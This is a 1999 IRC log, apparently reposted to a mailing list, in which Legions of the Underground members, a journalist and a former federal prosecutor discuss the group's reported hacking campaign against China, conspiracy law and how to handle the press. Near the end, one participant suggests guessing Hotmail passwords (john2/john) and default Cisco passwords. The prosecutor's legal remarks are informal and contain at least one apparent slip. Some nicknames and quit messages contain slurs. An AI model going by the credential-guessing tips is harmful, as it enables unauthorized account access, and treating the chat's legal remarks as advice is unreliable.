      [03:56] <delam> I know what you're saying, but being a group there are la=
      ws
      that apply to groups of people that can be more harsh
      [03:56] <delam> maybe father can help me out on this
      [03:56] <DigiEbola> I am just trying to understand everyones motives, why
      give a care about LoU?
      [03:57] <Father> P.S. I think Winn invited me because I am a former Fed.
      Pros.  Be warned.
      [03:57] <optiklenz> ok
      [03:57] <optiklenz> now is a good time to pee my pants i guess
      [03:57] <feur> digi, we spoke the other night, i believe my generation ha=
      s
      an obligation to assist, but not be suckers
      [03:57] <DigiEbola> Winn is associated with gov, that scares me in itself
      [03:57] * datapleX cares not about feds because he never did NEthing wron=
      g
      [03:57] *** Joins: ice (~ice@i.like.to.eat.negrofish.net)
      [03:58] <Father> Delam.  If a group acts as a group to break the law,
      various serious penalties come into play that
      [03:58] <DigiEbola> feur: true, but everyone always has a motive
      [03:58] <optiklenz> Father> yes but we are not a mafia
      [03:58] <Father> would not apply to an individual based upon his own
      separate acts.
      [03:58] <optiklenz> we are not into "organized crime"
      [03:58] <feur> i think this groups agenda is somewhat up front
      [03:58] <Winn> I am associated with hackers and that scares the hell out =
      of
      the feds!
      [03:58] <optiklenz> every member has their own program
      [03:58] <delam> optik: MOD wasn't mafia either but they had some major
      problmes
      [03:58] <dyslexia> Winn, heh
      [03:58] <Father> Te questions is:  did the group have a common purpose to=
      do
      something the law says is illegal.
      [03:59] <optiklenz> We are all adults no one can police what another pers=
      on
      does
      [03:59] <maquis> i'm associated with Winn, that scares the hell out of ME=
      !!!
      heheheehe
      [03:59] <Winn> HA!
      [03:59] <dyslexia> lol
      [03:59] <optiklenz> Father> nope
      [03:59] <optiklenz> never had never will
      [03:59] <optiklenz> We are a research group
      [03:59] <Winn> Is this the "Yelling Fire
      [03:59] <Winn> arguement?
      [03:59] <datapleX> I thought is was wolf...?
      [04:00] <datapleX> erm...n/m
      [04:00] <optiklenz> We've worked with lots of major corporations, and we =
      are
      not about to blow our rep
      [04:00] <optiklenz> its Crying Wolf
      [04:00] <optiklenz> i beleive
      [04:00] <optiklenz> Yelling fire is what old people do when they cant get
      out of bed in time
      [04:00] <delam> worked with corporations?  what kinda work is it,
      penetration testing?
      [04:00] <Father> The conclusion that a group had the requisite common
      purpose is drawn by agents, prosecutors, judges, and jurors.  Even Bill
      Clinton says he didn't lie, because is ain't is.
      [04:01] <optiklenz> delam> programing, hosting, design, security
      consultation
      [04:01] <DigiEbola> our common purpose is research
      [04:01] <optiklenz> you name
      [04:01] *** Joins: sreality (sreality@*!*.org)
      [04:01] <optiklenz> it
      [04:01] <delam> k
      [04:01] <Winn> I meant did you offer subtle encouragement for others to t=
      ake
      an action and is that really wrong?
      [04:01] <optiklenz> no
      [04:01] <optiklenz> No one took any action
      [04:01] <optiklenz> thats the point we are trying to make
      [04:02] <optiklenz> none  of the members did a cotten pickin thing
      [04:02] <Father> Winn - the answer to the second part of your question,
      legally speaking, is yes.
      [04:02] <Winn> DId others, tho? THe Poles? Ideas are free and legal.
      [04:02] <optiklenz> The Poles did
      [04:02] <Winn> Are you saying Dad, that there might be legal culpability =
      fo
      their ideas?
      [04:02] *** Quits: pent (=F9=ED=F9 Total uptime :    0d  0h 42m 42s=0F)
      [04:02] <DigiEbola> can one be prosecuted for having a idea?
      [04:02] <optiklenz> We claim no affiliations
      [04:02] <optiklenz> whatever the polish people do in poland is on them
      [04:03] <Father> I don't answer to "Dad."
      [04:03] <lothos> no digi
      [04:03] <lothos> this isn't 1984 I don't think.
      [04:03] <Father> Sore point, Winn.
      [04:03] <optiklenz> what we are saying here to night is we spoke our mind=
      we
      let people know what we were thinking and if that is a crime then I shoul=
      d
      be sentanced to death
      [04:03] <optiklenz> because that is something I do
      [04:03] <optiklenz> time and time again!
      [04:03] <DigiEbola> lothos: ya never know....
      [04:03] <Winn> Sorry, Father... :( I slap myself silly...
      [04:03] <m0f0> i would be way under ground then
      [04:04] <Father> Nor "Pop"
      [04:04] <Father> "Hey you" might work.
      [04:04] <delam> padre? :)
      [04:04] <Father> Hmmm.  Not bad.
      [04:05] <Father> Thoughts ain't a crime.
      [04:05] <optiklenz> yeah
      [04:05] <Winn> Legally, that is. :-)
      [04:05] <optiklenz> if it was my next door neighbor could very well sue m=
      e
      for harassment
      [04:05] <optiklenz> =3D]
      [04:05] <lothos> hahah
      [04:06] <Father> Two people agreeing (real low threshold) about something=
      ,
      and one of them doing a little something about it qualifies as a conspira=
      cy:
      5 years, $250K.
      [04:06] <optiklenz> god knows what I've been thinking
      [04:06] <optiklenz> heh
      [04:06] <optiklenz> 250k?
      [04:06] <Winn> Is that RICO?
      [04:06] <delam> yeah, that's one I remember
      [04:06] <optiklenz> hrmm I can grab some k's out of the ole alphabet soup
      [04:06] <dyslexia> Father, at this point, regardless of what lou has said=
      ,
      without the help of a rather emphatic media, this whole issue would have
      gone nowhere, the whole thing has been hyped and kept alive by the media,
      suerly this cannot be construed as a crime on our part
      [04:06] <Father> No, general conspiracy statute.
      [04:06] <optiklenz> but i dont know about doing crime for something I did=
      nt
      know was going on
      [04:07] <optiklenz> crime=3Dtime
      [04:07] <optiklenz> Im fallin asleep here
      [04:07] <DigiEbola> hm
      [04:07] <maquis> the way this administration is going, there may  just be=
      a
      conspiracy statute..... :)
      [04:08] <optiklenz> conspiracy of what?
      [04:08] <m0f0> this is more getting to a discussion
      [04:08] <Father> Whether you knew something was going on or not is a fact
      question.  As is whether you wanted to encourage something to go on, even=
      if
      you didn't know it actually did.  Both of those can be conspiracy
      liabilities.
      [04:08] <delam> so is the real issue the ability to identify an individua=
      l
      on the internet who's making claims or speaking for others?  How much pro=
      of
      is there of this and have you guys tried to learn the real name etc of th=
      e
      guy who did say this stuff.
      [04:08] <optiklenz> conspiracy of saying that we dont agree on certain
      issues?
      [04:08] <datapleX> I thought conspiracy was only against your own country=
      ?
      [04:08] <maquis> anything...hell, not to start a new can of worms, but lo=
      ok
      at the crypto debate and privacy rights. 'nuff said...and DON'T start a
      crypto-chat debate!  :)
      [04:08] <Father> Wrong.  Two prongs in general conspiracy stattue.
      [04:09] <optiklenz> delam> theres a polish group, and a few other groups
      from out of the u.s
      [04:09] <optiklenz> they are the ones that are attacking these sites
      [04:09] <optiklenz> not us
      [04:09] <optiklenz> we wanted to speak out and make things known and noth=
      ing
      more
      [04:09] <optiklenz> and that is all we did
      [04:09] <Father> First prong: conspiracy to deprive the US gov. of some
      right to function.
      [04:09] <lothos> dataplex: that's treason man
     [04:09] <optiklenz> something we didnt do
      [04:09] <Father> Second: conspiracy to violate a law on the books, no mat=
      ter
      who the victim is.
      [04:10] <m0f0> can't we just buy a law book or something?
      [04:10] <optiklenz> another thing we have yet to do
      [04:10] <delam> father: did the hacker that did make claims in the name o=
      f
      this group commit any crimes taht you know of?
      [04:10] <Winn> Is hacking China illegal? OR Iraq?
      [04:10] <optiklenz> Why ask us?
      [04:10] <DigiEbola> well, lets take a step away from us liabilities a mom=
      ent
      and focus on .cn actions, you ppl seem to have some insight that they are
      wanting to get rid of us
      [04:10] <optiklenz> We did none of that
      [04:10] <lothos> i agree digi
      [04:10] <Father> Conspiracy to get unauthorized access to computer is cri=
      me,
      no matter who victim is, even Iraq or Iran or Ireland.
      [04:11] <DigiEbola> i am more worried about .cn then .us
      [04:11] <lothos> father, even .jp?  Hacking isn't illegal in japan i
      thought...
      [04:11] <m0f0> then they will thing of something to put you in jail for
      [04:11] <datapleX> loth: depends on where the hack originates from
      [04:12] <Father> As long as Japanese computer is hooked up to a computer =
      in
      US, hacking into the Japanese computer is US crime.
      [04:12] <Winn> I suggest that .cn doesnt 'get' it completely. They try to
      ban sat dishes and now the death penalty for $34K in hacking a bank. Mayb=
      e a
      call for detente is called for here.
      [04:12] <delam> perhaps transport of illegally acquired information from =
      any
      other country would be considered illegal by us law?
      [04:12] <lothos> what if i hack a .jp computer from another .jp computer?
      would that be illegal? (sorry to stray off topic here..)
      [04:12] <maquis> delam, HTF are you gonna enforce that one? that's amost =
      as
      funny as something AG Reno would say!!!
      [04:13] <Father> I'll punt on your last question, delam: too fact specifi=
      c.
      [04:13] <optiklenz> groups run by little kids with names like HcV, Tougon=
      g
      (individual), NIS, Polish Hackers against China, spl0it are the ones doin=
      g
      all the illegitimate protest
      [04:14] <Father> Lothos, depends on whether hacked computer is connected
      (indirectly) to computer in US.  Hey, what omputer worth hacking ain't on
      the Inernet?
      [04:14] *** Quits: Mark668 (Read error to
      Mark668[adsl-209-78-192-20.dsl.pacbell.net]: EOF from client=0F)
      [04:14] <optiklenz> heh
      [04:14] <lothos> so if i'm physically on u.s. soil then it'd be a crime?
      [04:14] *** Joins : Mark668 (irc@*!*.pacbell.net)
      [04:14] <Father> P.S. I may sign off for a while.  If I do, I'll be back.
      [04:15] <optiklenz> lothos> no
      [04:15] <optiklenz> If you log into a system that is based in japan
      [04:15] <optiklenz> and from that system access another its not illegal
      [04:15] <Father> Yep.  Question is whether anyone would prosecute. If Jap=
      an,
      Inc. asked, someone might.
      [04:15] <optiklenz> or maybe it is
      [04:15] <optiklenz> heh
      [04:16] <m0f0> "heh"
      [04:16] <Winn> According to FBI, they can git ya for hacking intl based u=
      pon
      some interpretation of #1030/1029
      [04:16] <optiklenz> ah
      [04:16] <optiklenz> ok
      [04:16] <feur> IMHO, a more subtle question at this point is what if acti=
      ons
      will .cn and Iraq take legally or illegally
      [04:16] <optiklenz> what can they do?
      [04:16] <optiklenz> we've done nothing to any systems in .cn or iraq
      [04:16] <optiklenz> plus iraq is not even setup to a global network
      [04:17] <optiklenz> and most of their internal networks are probably blow=
      n
      to shreads by now
      [04:17] <Father> Remember, at the base level, jurisdiction is merely powe=
      r;
      like code is merely bits.
      [04:17] <feur> the purported threat to those countries systems
      [04:17] <maquis> iraq doesn't have much in the way of connectivity outsid=
      e
      the nation....
      [04:17] <optiklenz> not even via tymnet
      [04:17] <Winn> Sometimes the best way to disguise is to emphasize. I stil=
      l
      think you need to get LOUD AND CLEAR about what you're really about.
      [04:17] <optiklenz> and the only x.25 they've heard of is pocket change
      [04:18] <feur> optik, x.25 and sna, is generally out of the  reach and gr=
      asp
      of today's hax0rs
      [04:18] <delam> fact #1: it's hard as hell to prove any crime on the
      internet, and I'm sure you all know that, therefore #2, you're not worrie=
      d
      about any LEGAL actions by china or the US but you're more worried about =
      non
      legal actions
      [04:18] <DigiEbola> exactly
      [04:19] <DigiEbola> it may be not only to off us, but to test the us gov
      [04:19] <DigiEbola> if one of us got killed, what would the us do?
      [04:19] <optiklenz> as i stated what if some chinese loyalist gets the wr=
      ong
      idea and decides to use our heads as hunting trophies
      [04:19] <optiklenz> theres not much they could do
      [04:19] <lothos> I personally am worried about what .cn would do to us,
      legally or not.
      [04:20] <feur> optik, it would not be a chinese loyalist, it would organi=
      zed
      chinese gangs
      [04:20] <optiklenz> yeah
      [04:20] <optiklenz> thats something to worry about
      [04:20] <Mark668> Excuse me, I have to disappear for a while ... I'll be
      back ... I got a message from Betty that I was expected to "say" somethin=
      g
      ... if someone would let me know what I'm supposed to say, please private
      chat me.
      [04:20] <optiklenz> Mark> who are you again?
      [04:21] <maquis> most of the .cn gangs alrady operate her in the states...
      [04:21] <delam> There is a reverse philosophy but it sounds insane, it's =
      a
      people-buffer-overflow.. if more people started hacking china, the number=
      of
      targets that china would go after would increase beyond what they could h=
      ave
      the man power to handle
      [04:21] <optiklenz> yeah thats the thing
      [04:21] <DigiEbola> they have a lot of people
      [04:21] <optiklenz> people totally blew what we said out of proportion
      [04:22] <Father> Any one gonna be at CFP99?
      [04:22] <delam> I wish
      [04:22] <optiklenz> Father> nope
      [04:22] <maquis> maybe if i can get away from work...always a problem the=
      se
      days....
      [04:22] <lothos> anyone gonna be at RootFest? :)
      [04:22] <optiklenz> I'll be lecturing at rootfest though
      [04:22] <Winn> Via vidtel
      [04:22] <delam> rootfest in MPLS?
      [04:22] <lothos> so is winn via video conf
      [04:22] <optiklenz> yes
      [04:22] <Mark668> I'm an freelance writer and consultant (see
      http://www.gibbs.com/mgbio.htm for a ... well, bio) I write for Network
      World (the weekly Backspin column and, starting on the 25th, a weekly
      feature called "Gearhead".
      [04:23] <lothos> that reminds me, winn.. we need to tlak about that still
      [04:23] <lothos> talk
      [04:23] <Winn> tomorrow!
      [04:23] <Father> Signing off.  Be back. - Father, aka Padre ;-)
      [04:23] <delam> heh :)
      [04:23] <lothos> sure
      [04:23] <optiklenz> mark> ok
      [04:23] <DigiEbola> hm
      [04:23] <lothos> I'll give you a call
      [04:23] <feur> what can winn and local friends and...., do and gain
      permission from LOU, to assert some risk management in this somewhat jade=
      d
      affair
      [04:23] <Winn> thanks... > noon
      [04:24] *** Quits: Father (Leaving=0F)
      [04:24] <optiklenz> What can you do?
      [04:24] <lothos> I have a class at noon... would 1pm work CST?
      [04:24] <Winn> yep!
      [04:24] <lothos> cool, 1pm CST then.
      [04:24] <maquis> make it so, Mister Winn..... :)
      [04:25] <DigiEbola> options options options
      [04:25] <feur> 1. establish a unified position
      [04:25] <feur> 2. control disseminations to the media
      [04:26] <delam> passively time is the best option, actively that's
      difficult.. the media is the best option I can think of actively
      [04:26] <feur> 3. establish some DC international attorney to act as buff=
      er
      [04:26] <Winn> You need to have a SINGLE mouthpiece if you really want to
      control the message. Or have a bunch of folks sign the same one.
      [04:27] <optiklenz> I think getting an attorney would only make people th=
      ink
      we have reason to be afraid like we did something criminal that justifies
      having one
      [04:27] *** Quits: MsInfoWar (Ping timeout for
      MsInfoWar[1Cust33.tnt4.st-petersburg.fl.da.uu.net]=0F)
      [04:27] <feur> optik, the right attorney only acts as a buffer, not an
      admission ogf guilt
      [04:27] <optiklenz> Well if i can find an attorney i can afford i'll look
      into it
      [04:28] <Winn> Try the EFF maybe or EPIC or the CDC
      [04:28] <DigiEbola> .cn would care less if we have a attorney
      [04:28] <DigiEbola> heh
      [04:28] <delam> If you all did a press conference and were serious about =
      it,
      a lawyer would be great to help decide what needs to be said.
      [04:28] <feur> i took the liberty of contacting an old acquaintance from =
      the
      DOJ, who is in private practice in Boston, well known, and would pro bono
      look into the whole
      [04:29] <optiklenz> ok well this is a conference with out the "press"
      [04:29] <optiklenz> frankly Im tired of having people get things wrong
      [04:29] <optiklenz> not only has it hurt me, but it's done a great deal t=
      o a
      lot of other people
      [04:30] <DigiEbola> ppl will see what they want to see
      [04:30] <feur> but optik, tonight we hear from you, what do the other
      members of LOU want to do
      [04:30] <optiklenz> We are here as representatives of the group
      [04:30] <optiklenz> We've takin what they think, and what they want into
      consideration, and we are giving it to you
      [04:30] <optiklenz> as a whole
      [04:31] <DigiEbola> part of the reason, the press blew this up, is becaus=
      e
      THEY wanted to see someone break stuff in those countries
      [04:31] <optiklenz> can we take a 5minute bathroom break?
      [04:31] <feur> i think the next step would be to set up a VMB to chat
      [04:31] <delam> alliance teleconference? :)
      [04:31] <delam> ..memories
      [04:31] <Winn> Free from GTE?
      [04:32] <optiklenz> great, be back then.
      [04:32] <delam> winn: now now! shh
      [04:32] <Winn> heh
      [04:32] <feur> gte, good stock, lol
      [04:32] <maquis> naughty boy
      [04:32] <DigiEbola> brb
      [04:32] <kInGb0nG> brb
      [04:32] <Winn> brb?
      [04:32] <maquis> be right back..
      [04:32] <kInGb0nG> be right back
      [04:32] <maquis> <d'oh!
      [04:32] <Winn> slap me! :)
      [04:32] <maquis> < -- SMACKS WINN
      [04:32] <maquis> hehehehe
      [04:33] <Winn> damn that stings
      [04:33] <maquis> btw, winn,nice article on strikeback this week....nice
      resaerch...
      [04:33] <Winn> you should see the hate mail! INcluding the Pentagon!!!
      [04:33] * delam agrees
      [04:33] <DigiEbola> back
      [04:33] *** Joins: hjghjkghk (~jailednot@*!*.co.nz)
      [04:33] *** Quits: dyslexia (Ping timeout for
      dyslexia[p34-max2.dun.ihug.co.nz]=0F)
      [04:33] <maquis> winn - wonder why heheheehehe
      [04:33] *** hjghjkghk is now known as dyslexia
      [04:33] <maquis> does Rome Labs ring a bell?  :)
      [04:33] <optiklenz> ok im back
      [04:33] <Winn> heh
      [04:34] <dyslexia> air force base isn't it?
      [04:34] <Winn> yup
      [04:35] <feur> optik, what can winn and company disseminate of tonight's
      chat, you set the rules
      [04:35] *** Quits: kInGb0nG (Ping timeout for
      kInGb0nG[dayoh-a242.gemair.com]=0F)
      [04:36] *** Joins: kInGb0nG (~lil_b0ng@*!*.com)
      [04:36] <optiklenz> ok
      [04:36] *** cd is now known as Nikkita
      [04:36] <optiklenz> just what we've been talking about
      [04:36] <lothos> as far as I care, you can disseminate any/all of it
      [04:36] <Winn> OK: I view this as a PR problem with some potential bad
      downside. Whatever you decide, it really needs to be coherent and absolut=
      ely
      unambiguous.
      [04:36] <optiklenz> people need to know that we are not the bad guys
      [04:36] <optiklenz> Winn> we can edit some things out
      [04:36] <feur> optik, can you provide one summary statement on behalf of =
      the
      LOU
      [04:37] <optiklenz> this can be a joint statement from Inforwar, Infosec,
      and LOU
      [04:37] <optiklenz> if thats the way you want it
      [04:37] <Winn> If we take that route, I will edit it, then pass it to yo =
      for
      approval.
      [04:37] <feur> no, what do you want
      [04:37] <optiklenz> s/inforwar/infowar
      [04:37] <dyslexia> whatever will require being signed by all memebers etc
      [04:37] <lothos> sounds good winn
      [04:38] <maquis> < - signs in spirit
      [04:38] <optiklenz> =3D]
      [04:38] <DigiEbola> heh
      [04:38] <optiklenz> thanks marquis
      [04:38] <Nikkita> Optik: thnx to so cold 'hackers' talking negatifly in t=
      he
      MEDIA about LOU, youre scratched, but If you didn't though an IP of that
      countries there is nothing to be afraid of
      [04:38] <optiklenz> we did nothing
      [04:38] <optiklenz> marquis, and nikkita
      [04:38] <optiklenz> heh
      [04:38] <optiklenz> sounds like a match made in heaven
      [04:39] <Winn> I suggest I send to OPT, let him and I work out the edits
      then he adds the names he wants to add, and we all distribute tonights
      conversation PLUS a 1 pafge statement.
      [04:39] <Nikkita> optik: so there is nothing to afraid of.
      [04:39] <maquis> mmmm....nikita.....  LOL
      [04:39] <optiklenz> winn> that works for me
      [04:39] <Nikkita> maquis: I kill also :P
      [04:39] <optiklenz> everyone else fine with that?
      [04:39] <Winn> Send me your contact stuff, and I will get to it AM. You h=
      ave
      my voice #. ?
      [04:39] <maquis> You don't know me, then.  :-)
      [04:40] <DigiEbola> hm
      [04:40] <optiklenz> Winn> no
      [04:40] <maquis> heheeheh
      [04:40] <Nikkita> optik: Other issue
      [04:40] <DigiEbola> we should do a teleconference
      [04:40] <Winn> It would be useful to have some form of ID for the
      participants, even if it is anonymous. Can you do OPT?
      [04:40] <optiklenz> can i do what?
      [04:40] <Nikkita> optik: I red what father said about criminal organisati=
      ons
      [04:40] <optiklenz> heh
      [04:41] <optiklenz> Winn> if you mean card everyone
      [04:41] <optiklenz> im sure i can work something out
      [04:41] <Winn> heh... no, I don't want to get things wrong, tho.
      [04:41] * optiklenz use to be really cool with a few of the local bouncer=
      s
      [04:41] <optiklenz> =3D]
      [04:41] <delam> hahah
      [04:41] <feur> winn, needs some of identification and authentication, or =
      he
      is dead as a journalist
      [04:41] <Nikkita> optik: but If someone hacks something where goverment h=
      as
      a investigestion of spionage activity going on, then they will find
      you/already found you.
      [04:42] <optiklenz> Winn> mail me at optik@legions.org
      [04:42] <optiklenz> and i'll respond
      [04:42] <optiklenz> if you want you can have my pgp key
      [04:42] <feur> nikkita, i can assure all associated members of LOU are
      known, down to their dental records
      [04:42] <lothos> my email is lothos@trifid.net, pgp key is available from
      www.rootfest.org
      [04:42] <maquis> feur - now THAT'S class!
      [04:42] <Winn> OPT" if we can talk voice, I can tape a statement as well.
      You can call me if you want. Use PGP, mine is on the PGP server.
      [04:42] <lothos> down to our dental records???
      [04:42] <feur> assure that associated intelligence agencies
      [04:43] <Nikkita> feur: In that case they did something wrong :)
      [04:43] <DigiEbola> digi@wintermute.unixgeeks.com
      [04:43] <optiklenz> Winn> heh
      [04:43] <feur> if you have no teeth, lol
      [04:43] <Nikkita> Feur: I can assure you that nobody knows about M0f0
      [04:43] <Nikkita> feur: That's a advice :)
      [04:43] <optiklenz> i'm not to excited with the idea of having a voice
      statement passed around and archived
      [04:44] <DigiEbola> hm
      [04:44] <DigiEbola> im still hazy about a bunch of fat guys goin thru my
      records
      [04:44] <optiklenz> haha
      [04:44] <feur> nikkita, you misunderstood my statement
      [04:44] <Winn> Fine. You make the call. No prob!
     [04:44] <optiklenz> Winn> trust me on this one bro
      [04:44] <Nikkita> optik: I there tapping you, there's no way to check tha=
      t.
      [04:44] <optiklenz> nikk> actually there is
      [04:45] <optiklenz> and if they've got a dnr on my line i can very well f=
      ind
      out too
      [04:45] <Nikkita> feur: Well I will let my teeths removed tomorrow or so =
      :)
      [04:45] <feur> lol
      [04:45] <delam> heh
      [04:45] <maquis> I know a good dentist that doesn't ask any questions...r=
      oad
      trip to London!  :)
      [04:45] <maquis> heheehehe
      [04:45] <Winn> So, tomorrow, we exchange some email... build your story...
      and we agree not to release until we are all in agreement with it, and yo=
      u
      have it 'signed' by your folks.
      [04:45] <Nikkita> Optik: just trust me on that.
      [04:46] <optiklenz> Winn> thats the deal
      [04:46] <Winn> Perfect. Agreed.
      [04:46] <Nikkita> Maquis: London is just 30 minutes from Amsterdam, pleas=
      e
      mail me the adres :)
      [04:47] <Nikkita> Maquis: Is he expensive :)
      [04:47] <maquis> HAR! Nikkita, super spy of the 90s should be able to fin=
      d
      it.....!
      [04:48] <Nikkita> maquis: www.dental.record.org ---> www.illegal.dentist.=
      com
      [04:48] <delam> heh
      [04:48] <optiklenz> well folks
      [04:48] <maquis> yep, that's him... :)
      [04:48] <Nikkita> maquis: ever seen a blond without theet
      [04:48] <optiklenz> if thats all i'll be out for the night
      [04:48] <maquis> < -- heading out in a bit himself.
      [04:49] <delam> yeah winn you sleeping?
      [04:49] <DigiEbola> I must concur with my associate
      [04:49] <optiklenz> we'll keep in touch
      [04:49] <optiklenz> =3D]
      [04:49] <maquis> seeya opti
      [04:49] * Nikkita is going to sleep for 4 ours, because he has a milleniu=
      m
      update around 5 ours....
      [04:49] <DigiEbola> later all
      [04:49] <maquis> later later and even later!
      [04:50] <kInGb0nG> later
      [04:50] <datapleX> so maquis...gonna hook me up wif an internic account? =
      ;)
      [04:50] <feur> thank you all for coming on and trusting a bit
      [04:50] *** Quits: kInGb0nG (the king has left the building=0F)
      [04:50] *** Quits: DigiEbola (Leaving=0F)
      [04:50] <maquis> feur: no prob...
      [04:50] *** Quits: datapleX (later...=0F)
      [04:50] <Winn> Gentlemen! Thanks ... OPT - not to worry. Tomorrow!
      [04:50] <delam> nice meeting you guys
      [04:50] <Nikkita> maquis: and a hit2000.org :)
      [04:50] <maquis> Later all -- thanks for the invite
      [04:50] <optiklenz> sure thing
      [04:50] <maquis> hey, we DO the domain names.... :)
      [04:50] <delam> check out my cute portrait on the spring issue 1996 of 26=
      00
      if you like :)
      [04:50] *** Quits: optiklenz (eprom=0F)
      [04:50] *** Parts: Winn (Winn@1*!*.uu.net)
      [04:51] <Nikkita> maquis: I will mail jou a zone file then :) or give me =
      the
      IP of root nameserver :)
      [04:51] <maquis> heehe...NOT!
      [04:51] <Nikkita> maquis: ptr would do :)
      [04:52] <maquis> ptr? as in comPuTeR?
      [04:52] <Nikkita> ptr record :)
      [04:52] <delam> char *ptr; ?
      [04:52] <Nikkita> uh... know linux?
      [04:52] *** Joins: Father (Agrosso@170.*!*.att.net)
      [04:52] <maquis> Ahhh...leee-nux....
      [04:52] * Nikkita tells everyone about DNS howto :)
      [04:53] <maquis> << - NT (ack!) person
      [04:53] <feur> ptr as in polish hax0r crew
      [04:53] <Father> Have I missed anything
      [04:53] <delam> like jurassic park "Eye Know Yooooooo neeekz"
      [04:53] <Father> Where is Winn?
      [04:53] <delam> he left
      [04:53] <feur> winn, going to sleep
      [04:54] <Nikkita> Farther: In the Netherlands is privacy exposed trough a
      software bug not punished,
      [04:54] <delam> wrapping it up right now father
      [04:54] <maquis> I'm heading off, all. Thanks for the invites, keep yer
      heads down, chins up, and....
      [04:54] <maquis> ...lets be careful out there.
      [04:54] <Nikkita> If I use an in America located router to connect to a
      server in The Netherlands, and USE a bug
      [04:54] <maquis> Night all...rick....
      [04:54] <Nikkita> could I be convicted in America?
      [04:54] *** Quits: maquis (Leaving=0F)
      [04:55] <delam> it's indirect, data still was used from america to perfor=
      m
      the action... he mentioned indirect before
      [04:55] <Father> I'm not clear on the question
      [04:55] <Nikkita> delam: I'm stationed in the Netherlands.
      [04:56] <delam> so american property was involved in a crime?
      [04:56] <Nikkita> Could I be convicted cause I used in USA stationed
      equipment.
      [04:56] <Nikkita> delam: nope, just the connection
      [04:56] <Father> What does "in USA stationed equipment"?
      [04:56] <Nikkita> it has IP traffic, which I use
      [04:57] <Nikkita> delam: typing cisco as a password in a Cisco router isn=
      't
      hacking...
      [04:57] <delam> heh, there's alot of definintions to hacking, I agree
      [04:58] *** Quits: lothos (g'night=0F)
      [04:58] <dyslexia> heh, it might not be hacking, but it is truly sad how
      often it works
      [04:59] <Nikkita> Father: a router is located fysical in USA, I connect t=
      o
      that, en then will from ther connect to a server in the Netherlands,
      [04:59] <delam> that's the state of the world with technology
      [04:59] <Father> Bottom line: (1) authorized access; (2) on computer
      connected to Interent; (3) where there is "some" connection to U.S. or
      Inernational seas, air, shops, or the like, equals prosecutable crime in
      US., even you and computer(s) never step foot on US soil.  Gabish?  Broad
      statute.
      [04:59] <Father> Nikkita:  Yep.  You got warrant.
      [04:59] <Nikkita> father: but I don't do a crime in the Netherlands..
      [04:59] <delam> authorized access is the key to this issue.. if authorize=
      d
      isn't stated and you guess a password and get in.. have you committed a
      crime?  I'd say no
      [05:00] <Nikkita> delam: I say no ...
      [05:00] <Father> So?  Its not Netherlands statute.  Its US statute.
      [05:00] <Father> Delam:  Guessing password and using it is unauthorized
      access.
      [05:00] <Nikkita> Try this for an example at Hotmail...
      [05:00] <Nikkita> user: john2
      [05:00] <Nikkita> pass: john
      [05:00] <Nikkita> user: hank2
      [05:00] <Nikkita> pass: hank
      [05:01] <Father> No thanks.
      [05:01] <feur> father, what about statute interpreation, that without
      warning banner, there is no unauthorized entry, all entry is fine
      [05:01] <Nikkita> just by guessing...
      [05:01] <delam> the problem with internet protocols are taht certain TCP/=
      IP
      ports do not have the ability built into the protocol to post a banner..
      therefore, the issue of "authorized" can never be established by the pers=
      on
      running the computer
      [05:02] <Father> Feur:  Wrong.  That warning banner issue has to do with
      whether the US government can monitor you without a warrant.
      [05:02] <feur> or "rights without remedy"
      [05:02] <delam> if there is a banner on port 23 taht says "you must work
      here to enter" and a hacker finds port 21 with no banner and enters, even
      while guessing a passowrd, have they committed a crime?/ the couldn't see
      any sign that said "keep out"
      [05:02] <Nikkita> feur: in Scandinavian countries they MUST have fysical
      saying that you may not enter whitout authoring.
      [05:03] <Father> Sign that says keep out is not imortatnt.  Sign that say=
      s
      come on in is.
      [05:03] <Father> sorry
     
      [05:03] <Father> (Hey, feds are tough.)_
      [05:03] <delam> how do you establish "authorized access" when a computer =
      has
      been connected to a public network without any signs?? I'd say that impli=
      es
      it's meant for the public
      [05:04] <feur> interesting you say that father, my partner is a crimianl
      attorney in boston, and is defending an elctronic perimeter intrusion
      [05:04] <Father> Depends on what the purpose of it being connected is.
      [05:04] <Nikkita> delam: just like sending mail to another country, that
      packets will travell along dosen systems without asking for permission
      [05:04] <delam> you're posed with the problem taht you cannot from the
      outside determine what it's purpose is, but your intent is to enter
      [05:05] <Father> Who is your partner?
      [05:05] <Nikkita> partner?
      [05:06] <Father> Fleur:  who is your partner?
      [05:06] <Father> Savage?  Silverglate?
      [05:06] <feur> check your message window
      [05:06] <delam> it's an interesting debate that I haven't seen any clear =
      cut
      legal answers for
      [05:07] <Nikkita> btw: does anyone know about research in hacks commited =
      in
      USA and outside of the USA
      [05:08] <feur> nikkita, check nexus
      [05:08] <Nikkita> I have the feeling that it 's easer to hack in the USA,
      cause the high penalties companies don't do alot of there securityes
      [05:08] <Nikkita> www.nexus.com?
      [05:08] <Nikkita> or lexus nexus
      [05:09] <feur> the db lex nex
      [05:09] <Father> Time for me to go. Feel free to contact me, agrosso@xxx.org
      [05:09] <Nikkita> good morning :)
      [05:09] <dyslexia> thanks Ftaher
      [05:09] <Nikkita> feur: nexus is a security audit tool like satan
      [05:09] <dyslexia> Father
      [05:10] <feur> no, private db lex
      [05:10] <Nikkita> feur: I'll check on that, just have to find a working
      account :)
      [05:13] <Nikkita> to all LoU members still here, don't let that affaire
      helding you of.
      [05:13] <Nikkita> You did fine in the past remember that.
      [05:13] *** Quits: Father (Ping timeout for
      Father[170.arlington-04.va.dial-access.att.net]=0F)
      [05:15] <Nikkita> Mark: If your are in Holland in June come and look us u=
      p
      [05:15] <Nikkita> Dutch scene will have a 3 day during party
      [05:16] <Nikkita> CCC, Rop Gongrijp and maybe some L0pth members
      [05:16] <Nikkita> will be ther
      [05:18] <feur> ok ladies and gentlemen the marat sade is over tonight,
      please come back to the asylum
      [05:20] <Nikkita> feur: good bye
      [05:20] <Nikkita> sleep tighyt
      [05:20] *** Quits: Nikkita (Leaving=0F)
      [05:22] <feur> goodnight mofo nikkita
      [05:24] *** Quits: feur (irc, where is the wizard of OZ=0F)
      [05:25] <delam> I'm going to shut the server down in a couple minutes
      [05:25] <dyslexia> bye all
      [05:26] *** Quits: dyslexia (Nuke a gay whale for Jesus!=0F)
      [05:27] *** Disconnected
      Session Close: Wed Jan 20 05:27:08 1999
     
     <snip>
     --
     See Ya!
     RuffNeck
     ----   ---   --  -
     ruffneck@xxxxxx.xxx
     
     
      Prior to posting this here I contacted Bronc Buster and he was kind enough
     to get back to me with some of the inside story on what happened and why.. 
     this is his message with only slight modifications:
      
     Delivered-To: dok-cruciphux@dok.org
